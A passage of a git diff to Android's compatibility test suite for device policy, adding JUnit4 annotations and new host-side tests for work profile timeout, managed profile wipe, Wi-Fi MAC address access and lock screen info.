+ return;
+ }
+ setUpWorkProfileTimeout();
+
+ startDummyActivity(mProfileUserId, false);
+ simulateUserInteraction(PROFILE_TIMEOUT_DELAY_MS);
+
+ verifyOnlyProfileLocked(false);
+ }
+
+ /** Keep screen on window flag in the profile should prevent it from locking. */
+ @FlakyTest
+ @Test
+ public void testWorkProfileTimeoutKeepScreenOnWindow() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ setUpWorkProfileTimeout();
+
+ startDummyActivity(mProfileUserId, true);
+ Thread.sleep(PROFILE_TIMEOUT_DELAY_MS);
+
+ verifyOnlyProfileLocked(false);
+ }
+
+ private void setUpWorkProfileTimeout() throws DeviceNotAvailableException {
+ // Set separate challenge.
+ changeUserCredential(PROFILE_CREDENTIAL, null, mProfileUserId);
+
+ // Make sure the profile is not prematurely locked.
+ verifyUserCredential(PROFILE_CREDENTIAL, mProfileUserId);
+ verifyOnlyProfileLocked(false);
+ // Set profile timeout to 5 seconds.
+ runProfileTimeoutTest("testSetWorkProfileTimeout", mProfileUserId);
+ }
+
+ private void verifyOnlyProfileLocked(boolean locked) throws DeviceNotAvailableException {
+ final String expectedResultTest = locked ? "testDeviceLocked" : "testDeviceNotLocked";
+ runProfileTimeoutTest(expectedResultTest, mProfileUserId);
+ // Primary profile shouldn't be locked.
+ runProfileTimeoutTest("testDeviceNotLocked", mPrimaryUserId);
+ }
+
+ private void simulateUserInteraction(int timeMs) throws Exception {
+ final long endTime = System.nanoTime() + TimeUnit.MILLISECONDS.toNanos(timeMs);
+ final UserActivityEmulator helper = new UserActivityEmulator(getDevice());
+ while (System.nanoTime() < endTime) {
+ helper.tapScreenCenter();
+ // Just in case to prevent busy loop.
+ Thread.sleep(100);
+ }
+ }
+
+ private void runProfileTimeoutTest(String method, int userId)
+ throws DeviceNotAvailableException {
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".ProfileTimeoutTestHelper",
+ method, userId);
+ }
+
+ private void startDummyActivity(int profileUserId, boolean keepScreenOn) throws Exception {
+ getDevice().executeShellCommand(String.format(
+ "am start-activity -W --user %d --ez keep_screen_on %s %s/.TimeoutActivity",
+ profileUserId, keepScreenOn, MANAGED_PROFILE_PKG));
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
new file mode 100644
index 0000000..eb98210
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileWipeTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.devicepolicy;
+
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.FlakyTest;
+import android.stats.devicepolicy.EventId;
+
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+
+import org.junit.Test;
+
+public class ManagedProfileWipeTest extends BaseManagedProfileTest {
+ @FlakyTest
+ @Test
+ public void testWipeDataWithReason() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ assertTrue(listUsers().contains(mProfileUserId));
+ sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITH_REASON");
+ // Note: the managed profile is removed by this test, which will make removeUserCommand in
+ // tearDown() to complain, but that should be OK since its result is not asserted.
+ assertUserGetsRemoved(mProfileUserId);
+ // testWipeDataWithReason() removes the managed profile,
+ // so it needs to separated from other tests.
+ // Check and clear the notification is presented after work profile got removed, so profile
+ // user no longer exists, verification should be run in primary user.
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".WipeDataNotificationTest",
+ "testWipeDataWithReasonVerification",
+ mParentUserId);
+ }
+
+ @FlakyTest
+ @Test
+ public void testWipeDataLogged() throws Exception {
+ if (!mHasFeature || !isStatsdEnabled(getDevice())) {
+ return;
+ }
+ assertTrue(listUsers().contains(mProfileUserId));
+ assertMetricsLogged(getDevice(), () -> {
+ sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITH_REASON");
+ }, new DevicePolicyEventWrapper.Builder(EventId.WIPE_DATA_WITH_REASON_VALUE)
+ .setAdminPackageName(MANAGED_PROFILE_PKG)
+ .setInt(0)
+ .build());
+ // Check and clear the notification is presented after work profile got removed, so profile
+ // user no longer exists, verification should be run in primary user.
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".WipeDataNotificationTest",
+ "testWipeDataWithReasonVerification",
+ mParentUserId);
+ }
+
+ @FlakyTest
+ @Test
+ public void testWipeDataWithoutReason() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ assertTrue(listUsers().contains(mProfileUserId));
+ sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA_WITHOUT_REASON");
+ // Note: the managed profile is removed by this test, which will make removeUserCommand in
+ // tearDown() to complain, but that should be OK since its result is not asserted.
+ assertUserGetsRemoved(mProfileUserId);
+ // testWipeDataWithoutReason() removes the managed profile,
+ // so it needs to separated from other tests.
+ // Check the notification is not presented after work profile got removed, so profile user
+ // no longer exists, verification should be run in primary user.
+ runDeviceTestsAsUser(
+ MANAGED_PROFILE_PKG,
+ ".WipeDataNotificationTest",
+ "testWipeDataWithoutReasonVerification",
+ mParentUserId);
+ }
+
+ /**
+ * wipeData() test removes the managed profile, so it needs to be separated from other tests.
+ */
+ @Test
+ public void testWipeData() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ assertTrue(listUsers().contains(mProfileUserId));
+ sendWipeProfileBroadcast("com.android.cts.managedprofile.WIPE_DATA");
+ // Note: the managed profile is removed by this test, which will make removeUserCommand in
+ // tearDown() to complain, but that should be OK since its result is not asserted.
+ assertUserGetsRemoved(mProfileUserId);
+ }
+
+ private void sendWipeProfileBroadcast(String action) throws Exception {
+ final String cmd = "am broadcast --receiver-foreground --user " + mProfileUserId
+ + " -a " + action
+ + " com.android.cts.managedprofile/.WipeDataReceiver";
+ getDevice().executeShellCommand(cmd);
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerHostSideTransferTest.java
index fa0e60b..a389308 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerHostSideTransferTest.java
@@ -15,6 +15,12 @@
*/
package com.android.cts.devicepolicy;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.LargeTest;
+
+import org.junit.Test;
+
/**
* Tests the DPC transfer functionality for device owner. Testing is done by having two dummy DPCs,
* CtsTransferOwnerOutgoingApp and CtsTransferOwnerIncomingApp. The former is the current DPC
@@ -32,7 +38,7 @@
"com.android.cts.transferowner.TransferProfileOwnerOutgoingTest";
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
if (mHasFeature) {
installAppAsUser(TRANSFER_OWNER_OUTGOING_APK, mPrimaryUserId);
@@ -49,6 +55,8 @@
}
}
+ @LargeTest
+ @Test
public void testTransferAffiliatedProfileOwnershipCompleteCallback() throws Exception {
if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")) {
return;
@@ -72,6 +80,8 @@
mUserId);
}
+ @LargeTest
+ @Test
public void testTransferAffiliatedProfileOwnershipInComp() throws Exception {
if (!mHasFeature || !hasDeviceFeature("android.software.managed_users")) {
return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 6f3c07c..1c3b8bf 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -16,10 +16,19 @@
package com.android.cts.devicepolicy;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
+import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.FlakyTest;
import android.stats.devicepolicy.EventId;
import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+import org.junit.Test;
+
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
@@ -34,7 +43,7 @@
private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
if (mHasFeature) {
@@ -51,7 +60,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
assertTrue("Failed to remove device owner",
removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId));
@@ -59,6 +68,7 @@
super.tearDown();
}
+ @Test
public void testLockTask_unaffiliatedUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -66,8 +76,10 @@
final int userId = createSecondaryUserAsProfileOwner();
runDeviceTestsAsUser(
- DEVICE_ADMIN_PKG, ".AffiliationTest",
- "testLockTaskMethodsThrowExceptionIfUnaffiliated", userId);
+ DEVICE_ADMIN_PKG,
+ ".AffiliationTest",
+ "testLockTaskMethodsThrowExceptionIfUnaffiliated",
+ userId);
setUserAsAffiliatedUserToPrimary(userId);
runDeviceTestsAsUser(
@@ -77,6 +89,8 @@
userId);
}
+ @FlakyTest(bugId = 127270520)
+ @Test
public void testLockTask_affiliatedSecondaryUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -87,6 +101,7 @@
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockTaskTest", userId);
}
+ @Test
public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
if (!mHasFeature) {
return;
@@ -98,7 +113,43 @@
"testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
}
+ @FlakyTest
@Override
+ @Test
+ public void testCaCertManagement() throws Exception {
+ super.testCaCertManagement();
+ }
+
+ @FlakyTest(bugId = 141161038)
+ @Override
+ @Test
+ public void testCannotRemoveUserIfRestrictionSet() throws Exception {
+ super.testCannotRemoveUserIfRestrictionSet();
+ }
+
+ @FlakyTest
+ @Override
+ @Test
+ public void testInstallCaCertLogged() throws Exception {
+ super.testInstallCaCertLogged();
+ }
+
+ @FlakyTest(bugId = 137088260)
+ @Test
+ public void testWifi() throws Exception {
+ if (!mHasFeature || !hasDeviceFeature("android.hardware.wifi")) {
+ return;
+ }
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".WifiTest", "testGetWifiMacAddress", mUserId);
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".WifiTest", "testGetWifiMacAddress");
+ }, new DevicePolicyEventWrapper.Builder(EventId.GET_WIFI_MAC_ADDRESS_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .build());
+ }
+ }
+
Map<String, DevicePolicyEventWrapper[]> getAdditionalDelegationTests() {
final Map<String, DevicePolicyEventWrapper[]> result = new HashMap<>();
DevicePolicyEventWrapper[] expectedMetrics = new DevicePolicyEventWrapper[] {
@@ -128,6 +179,23 @@
return result;
}
+ @Test
+ public void testLockScreenInfo() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockScreenInfoTest", mUserId);
+
+ if (isStatsdEnabled(getDevice())) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".LockScreenInfoTest", "testSetAndGetLockInfo");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_DEVICE_OWNER_LOCK_SCREEN_INFO_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .build());
+ }
+ }
+
private int createSecondaryUserAsProfileOwner() throws Exception {
final int userId = createUser();
installAppAsUser(INTENT_RECEIVER_APK, userId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
index 32b48d6..0e9ae3e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTestApi25.java
@@ -16,13 +16,8 @@
package com.android.cts.devicepolicy;
-import android.platform.test.annotations.RequiresDevice;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import junit.framework.AssertionFailedError;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
/**
* Set of tests for device owner use cases that also apply to profile owners.
@@ -31,7 +26,7 @@
public class MixedDeviceOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
if (mHasFeature) {
@@ -49,7 +44,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
assertTrue("Failed to remove device owner",
removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index b3b48b4..0521f65 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -16,8 +16,15 @@
package com.android.cts.devicepolicy;
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.cts.devicepolicy.annotations.LockSettingsTest;
+import com.android.cts.devicepolicy.annotations.PermissionsTest;
import com.android.tradefed.device.DeviceNotAvailableException;
+import org.junit.Test;
+
/**
* Set of tests for managed profile owner use cases that also apply to device owners.
* Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
@@ -26,11 +33,12 @@
private static final String CLEAR_PROFILE_OWNER_NEGATIVE_TEST_CLASS =
DEVICE_ADMIN_PKG + ".ClearProfileOwnerNegativeTest";
+ private static final String FEATURE_WIFI = "android.hardware.wifi";
private int mParentUserId = -1;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need managed users to be supported in order to create a profile of the user owner.
@@ -54,7 +62,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
removeUser(mUserId);
}
@@ -67,6 +75,8 @@
* Verify that screenshots are still possible for activities in the primary user when the policy
* is set on the profile owner.
*/
+ @LargeTest
+ @Test
public void testScreenCaptureDisabled_allowedPrimaryUser() throws Exception {
if (!mHasFeature) {
return;
@@ -80,6 +90,8 @@
executeDeviceTestMethod(".ScreenCaptureDisabledTest", "testScreenCapturePossible");
}
+ @FlakyTest
+ @Test
public void testScreenCaptureDisabled_assist_allowedPrimaryUser() throws Exception {
if (!mHasFeature) {
return;
@@ -111,53 +123,65 @@
}
@Override
+ @Test
public void testDisallowSetWallpaper_allowed() throws Exception {
// Managed profile doesn't have wallpaper.
}
@Override
+ @Test
public void testAudioRestriction() throws Exception {
// DISALLOW_UNMUTE_MICROPHONE and DISALLOW_ADJUST_VOLUME can only be set by device owners
// and profile owners on the primary user.
}
/** VPN tests don't require physical device for managed profile, thus overriding. */
+ @FlakyTest
@Override
+ @Test
public void testAlwaysOnVpn() throws Exception {
super.testAlwaysOnVpn();
}
/** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
+ @Test
public void testAlwaysOnVpnLockDown() throws Exception {
super.testAlwaysOnVpnLockDown();
}
/** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
+ @LargeTest
+ @Test
public void testAlwaysOnVpnAcrossReboot() throws Exception {
super.testAlwaysOnVpnAcrossReboot();
}
/** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
+ @Test
public void testAlwaysOnVpnPackageUninstalled() throws Exception {
super.testAlwaysOnVpnPackageUninstalled();
}
/** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
+ @Test
public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
super.testAlwaysOnVpnUnsupportedPackage();
}
/** VPN tests don't require physical device for managed profile, thus overriding. */
@Override
+ @Test
public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
super.testAlwaysOnVpnUnsupportedPackageReplaced();
}
@Override
+ @LockSettingsTest
+ @Test
public void testResetPasswordWithToken() throws Exception {
if (!mHasFeature || !mHasSecureLockScreen) {
return;
@@ -169,10 +193,26 @@
}
@Override
+ @Test
public void testSetSystemSetting() {
// Managed profile owner cannot set currently whitelisted system settings.
}
+ @Override
+ @Test
+ public void testSetAutoTime() {
+ // Managed profile owner cannot set auto time unless it is called by the profile owner of
+ // an organization-owned managed profile.
+ }
+
+ @Override
+ @Test
+ public void testSetAutoTimeZone() {
+ // Managed profile owner cannot set auto time zone unless it is called by the profile
+ // owner of an organization-owned managed profile.
+ }
+
+ @Test
public void testCannotClearProfileOwner() throws Exception {
if (!mHasFeature) {
return;
@@ -180,13 +220,14 @@
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, CLEAR_PROFILE_OWNER_NEGATIVE_TEST_CLASS, mUserId);
}
- private void grantProfileOwnerDeviceIdsAccess() throws DeviceNotAvailableException {
+ private void markProfileOwnerOnOrganizationOwnedDevice() throws DeviceNotAvailableException {
getDevice().executeShellCommand(
- String.format("dpm grant-profile-owner-device-ids-access --user %d '%s'",
+ String.format("dpm mark-profile-owner-on-organization-owned-device --user %d '%s'",
mUserId, DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS));
}
+ @Test
public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
if (!mHasFeature) {
return;
@@ -197,13 +238,18 @@
".DelegatedDeviceIdAttestationTest",
"testGenerateKeyPairWithDeviceIdAttestationExpectingFailure", mUserId);
- grantProfileOwnerDeviceIdsAccess();
+ markProfileOwnerOnOrganizationOwnedDevice();
runDeviceTestsAsUser("com.android.cts.certinstaller",
".DelegatedDeviceIdAttestationTest",
"testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId);
});
+
+ // Clean up:
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DelegatedCertInstallerHelper",
+ "testManualWipeProfile", mUserId);
}
+ @Test
public void testDeviceIdAttestationForProfileOwner() throws Exception {
if (!mHasFeature) {
return;
@@ -214,39 +260,151 @@
"testFailsWithoutProfileOwnerIdsGrant", mUserId);
// Test that Device ID attestation for the profile owner works with a grant.
- grantProfileOwnerDeviceIdsAccess();
+ markProfileOwnerOnOrganizationOwnedDevice();
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdAttestationTest",
"testSucceedsWithProfileOwnerIdsGrant", mUserId);
}
+ @FlakyTest
@Override
+ @Test
+ public void testCaCertManagement() throws Exception {
+ super.testCaCertManagement();
+ }
+
+ @FlakyTest
+ @Override
+ @Test
+ public void testDelegatedCertInstaller() throws Exception {
+ super.testDelegatedCertInstaller();
+ }
+
+ @FlakyTest
+ @Override
+ @Test
+ public void testPackageInstallUserRestrictions() throws Exception {
+ super.testPackageInstallUserRestrictions();
+ }
+
+ @Override
+ @FlakyTest
+ @PermissionsTest
+ @Test
+ public void testPermissionGrant() throws Exception {
+ super.testPermissionGrant();
+ }
+
+ @Override
+ @FlakyTest
+ @PermissionsTest
+ @Test
+ public void testPermissionMixedPolicies() throws Exception {
+ super.testPermissionMixedPolicies();
+ }
+
+ @FlakyTest
+ @Override
+ @Test
+ public void testScreenCaptureDisabled_assist() throws Exception {
+ super.testScreenCaptureDisabled_assist();
+ }
+
+ @Override
+ @PermissionsTest
+ @FlakyTest(bugId = 145350538)
+ @Test
+ public void testPermissionPolicy() throws Exception {
+ super.testPermissionPolicy();
+ }
+
+ @FlakyTest
+ @Override
+ @Test
+ public void testSetMeteredDataDisabledPackages() throws Exception {
+ super.testSetMeteredDataDisabledPackages();
+ }
+
+ @Override
+ @PermissionsTest
+ @FlakyTest(bugId = 145350538)
+ @Test
+ public void testPermissionAppUpdate() throws Exception {
+ super.testPermissionAppUpdate();
+ }
+
+ @Override
+ @PermissionsTest
+ @FlakyTest(bugId = 145350538)
+ @Test
+ public void testPermissionGrantPreMApp() throws Exception {
+ super.testPermissionGrantPreMApp();
+ }
+
+ @Override
+ @PermissionsTest
+ @FlakyTest(bugId = 145350538)
+ @Test
+ public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
+ throws Exception {
+ super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
+ }
+
+ @Override
+ @Test
public void testLockTask() {
// Managed profiles are not allowed to use lock task
}
@Override
+ @Test
public void testLockTaskAfterReboot() {
// Managed profiles are not allowed to use lock task
}
@Override
+ @Test
public void testLockTaskAfterReboot_tryOpeningSettings() {
// Managed profiles are not allowed to use lock task
}
@Override
+ @Test
public void testLockTask_defaultDialer() {
// Managed profiles are not allowed to use lock task
}
@Override
+ @Test
public void testLockTask_emergencyDialer() {
// Managed profiles are not allowed to use lock task
}
@Override
+ @Test
public void testLockTask_exitIfNoLongerWhitelisted() {
// Managed profiles are not allowed to use lock task
}
+
+ @Test
+ public void testWifiMacAddress() throws Exception {
+ if (!mHasFeature || !hasDeviceFeature(FEATURE_WIFI)) {
+ return;
+ }
+
+ runDeviceTestsAsUser(
+ DEVICE_ADMIN_PKG, ".WifiTest", "testCannotGetWifiMacAddress", mUserId);
+ }
+
+ //TODO(b/130844684): Remove when removing profile owner on personal device access to device
+ // identifiers.
+ @Test
+ public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
+ "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mUserId);
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index 7623b48..8688335 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -16,6 +16,13 @@
package com.android.cts.devicepolicy;
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import com.android.cts.devicepolicy.annotations.PermissionsTest;
+
+import org.junit.Test;
+
/**
* Set of tests for managed profile owner use cases that also apply to device owners.
* Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
@@ -25,7 +32,7 @@
private int mParentUserId = -1;
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need managed users to be supported in order to create a profile of the user owner.
@@ -49,49 +56,17 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
removeUser(mUserId);
}
super.tearDown();
}
- /**
- * Verify the Profile Owner of a managed profile can create and change the password,
- * but cannot remove it.
- */
@Override
- public void testResetPassword() throws Exception {
- if (!mHasFeature || !mHasSecureLockScreen) {
- return;
- }
-
- executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPasswordManagedProfile");
- }
-
- /**
- * Verify the Profile Owner of a managed profile can only change the password when FBE is
- * unlocked, and cannot remove the password even when FBE is unlocked.
- */
- @Override
- public void testResetPasswordFbe() throws Exception {
- if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
- return;
- }
-
- // Make sure user initialization is complete before proceeding.
- waitForBroadcastIdle();
-
- // Lock FBE and verify resetPassword is disabled
- executeDeviceTestMethod(FBE_HELPER_CLASS, "testSetPassword");
- rebootAndWaitUntilReady();
- executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPasswordDisabled");
-
- // Start an activity in managed profile to trigger work challenge
- startSimpleActivityAsUser(mUserId);
-
- // Unlock FBE and verify resetPassword is enabled again
- executeDeviceTestMethod(FBE_HELPER_CLASS, "testUnlockFbe");
- executeDeviceTestMethod(RESET_PASSWORD_TEST_CLASS, "testResetPasswordManagedProfile");
+ @PermissionsTest
+ @Test
+ public void testPermissionGrantPreMApp() throws Exception {
+ super.testPermissionGrantPreMApp();
}
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
index ca081fc..5da7a07 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerHostSideTransferTest.java
@@ -26,7 +26,7 @@
DeviceAndProfileOwnerHostSideTransferTest {
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
// We need managed users to be supported in order to create a profile of the user owner.
mHasFeature &= hasDeviceFeature("android.software.managed_users");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index e1d50bd..d2e8385 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -16,6 +16,14 @@
package com.android.cts.devicepolicy;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.LargeTest;
+
+import org.junit.Test;
+
/**
* Set of tests for pure (non-managed) profile owner use cases that also apply to device owners.
* Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTest.
@@ -23,7 +31,7 @@
public class MixedProfileOwnerTest extends DeviceAndProfileOwnerTest {
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
if (mHasFeature) {
@@ -41,11 +49,53 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
assertTrue("Failed to remove profile owner.",
removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
}
super.tearDown();
}
+
+ @Override
+ @FlakyTest
+ @Test
+ public void testCaCertManagement() throws Exception {
+ super.testCaCertManagement();
+ }
+
+ @Override
+ @FlakyTest
+ @Test
+ public void testInstallCaCertLogged() throws Exception {
+ super.testInstallCaCertLogged();
+ }
+
+ @Override
+ @LargeTest
+ @Test
+ public void testPackageInstallUserRestrictions() throws Exception {
+ super.testPackageInstallUserRestrictions();
+ }
+
+ @Override
+ @FlakyTest(bugId = 140932104)
+ @Test
+ public void testLockTaskAfterReboot() throws Exception {
+ super.testLockTaskAfterReboot();
+ }
+
+ @Override
+ @FlakyTest(bugId = 140932104)
+ @Test
+ public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
+ super.testLockTaskAfterReboot_tryOpeningSettings();
+ }
+
+ @Override
+ @FlakyTest(bugId = 140932104)
+ @Test
+ public void testLockTask_exitIfNoLongerWhitelisted() throws Exception {
+ super.testLockTask_exitIfNoLongerWhitelisted();
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
index 0dcb82a..b186c20 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTestApi25.java
@@ -16,6 +16,9 @@
package com.android.cts.devicepolicy;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
/**
* Set of tests for pure (non-managed) profile owner use cases that also apply to device owners.
* Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
@@ -23,7 +26,7 @@
public class MixedProfileOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
@Override
- protected void setUp() throws Exception {
+ public void setUp() throws Exception {
super.setUp();
if (mHasFeature) {
@@ -41,7 +44,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
if (mHasFeature) {
